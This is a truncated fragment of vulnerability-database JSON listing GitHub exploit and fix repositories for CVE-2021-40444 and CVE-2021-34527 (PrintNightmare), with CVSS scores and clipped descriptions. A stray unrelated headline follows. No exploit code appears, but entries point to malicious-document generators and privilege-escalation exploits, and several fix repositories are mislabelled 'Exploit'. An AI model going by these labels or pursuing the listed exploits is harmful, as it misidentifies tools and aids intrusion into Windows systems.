"HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-12-19T08:16:07", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2023-05-13T13:28:18", "id": "AAFEAA7E-81B7-5CE7-9E2F-16828CC5468F", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-01-09T21:51:56", "description": "# Microsoft MSHTML Remote Code Execution Vulnerability CVE-2021-...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-08T08:32:40", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-01-09T21:16:38", "id": "FBB2DA29-1A11-5D78-A28C-1BF3821613AC", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-05-23T17:38:42", "description": "CVE-2021-40444 builders\n\nThis repo contain builders of cab file,...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-12T18:05:53", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2023-04-09T04:59:44", "id": "8CD90173-6341-5FAD-942A-A9617561026A", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-06-05T05:19:33", "description": "# CVE-2021-40444 PoC\n\nMalicious docx generator to exploit CVE-20...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-06-05T02:27:21", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2023-06-05T02:29:52", "id": "1934A15D-9857-5560-B6CA-EA6A2A8A91F8", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-04-26T12:23:19", "description": "# Introduction\nPrintNightmare-Patcher, a simple tool that resolv...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-12T14:14:29", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2022-03-18T12:17:08", "id": "D089579B-4420-5AD5-999F-45063D972E66", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-18T15:04:19", "description": "# PowerShell-PrintNightmare\nA collection of scripts to help set ...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-09T21:28:16", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-11T16:21:00", "id": "98CA9A39-577D-51F2-B8B9-B20E80D94173", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-18T15:04:24", "description": "# Printnightmare\nFix for PrintNightmare CVE-2021-34527\n\n![Printn...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-09T09:22:03", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-09T11:02:54", "id": "4A3F2A96-B727-5EF1-B1C1-FE041BA02E28", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-18T09:16:59", "description": "# disable-RegisterSpoolerRemoteRpcEndPoint\nWorkaround for Window...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-05T16:49:32", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-08T21:11:43", "id": "E235B3DF-990F-5508-9496-90462B45125D", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:28:56", "description": "PrintNightmare CVE-2021-34527 powershell PowerShell workaround t...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-05T20:02:50", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-07T13:34:12", "id": "5AE71695-062E-5DBA-9A16-69BD0C7D1384", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-18T15:04:48", "description": "# Disable-Spooler-Service-PrintNightmare-CVE-2021-34527\nSimple ...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-07T06:41:15", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-07T06:47:16", "id": "8542D571-7253-5609-BC52-CBCB5F40929A", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:22:34", "description": "# Fix-CVE-2021-34527\nFix for the securit...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-02T14:25:44", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-03T09:03:00", "id": "FBC9D472-5E25-508D-AB6E-B3197FCFED2D", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2023-05-31T11:27:43", "description": "# CVE-2021-34527\n\nCVE-2021-34527 LPE exploit using AddPrinterDri...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-09-05T23:48:44", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2023-05-31T11:23:37", "id": "436B5B97-EF58-5F05-B611-815DDEF67B8A", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-18T14:29:26", "description": "# PrintNightmare CVE-2021-34527\n\nBy now you most probably alread...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-07T07:58:53", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2022-03-18T12:16:25", "id": "7C3B421E-ED99-5C5F-B2BA-4418307C0EBF", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-19T06:22:28", "description": "<!DOCTYPE html>\n<html dir=\"rtl\" lang=\"fa-IR\">\n\n<head>\n\t<meta cha...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-12-13T10:04:49", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-12-13T10:21:38", "id": "3DC96731-93EE-5FF0-9AC3-C472059DC1AF", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-18T04:55:35", "description": "<!DOCTYPE html>\n<html dir=\"rtl\" lang=\"fa-IR\">\n\n<head>\n\t<meta cha...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-08T01:32:18", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-09T03:54:14", "id": "1E42289A-77F8-55A2-B85E-83CAA00CE951", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2023-05-23T17:14:04", "description": "# PsFix-CVE-2021-34527\nFix-CVE-2021-34527\nFi...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-04-07T20:14:31", "type": "githubexploit", "title": "Exploit for Impr
Beyond Memory Corruption Vulnerabilities – A Security Extinction and Future of Exploitation
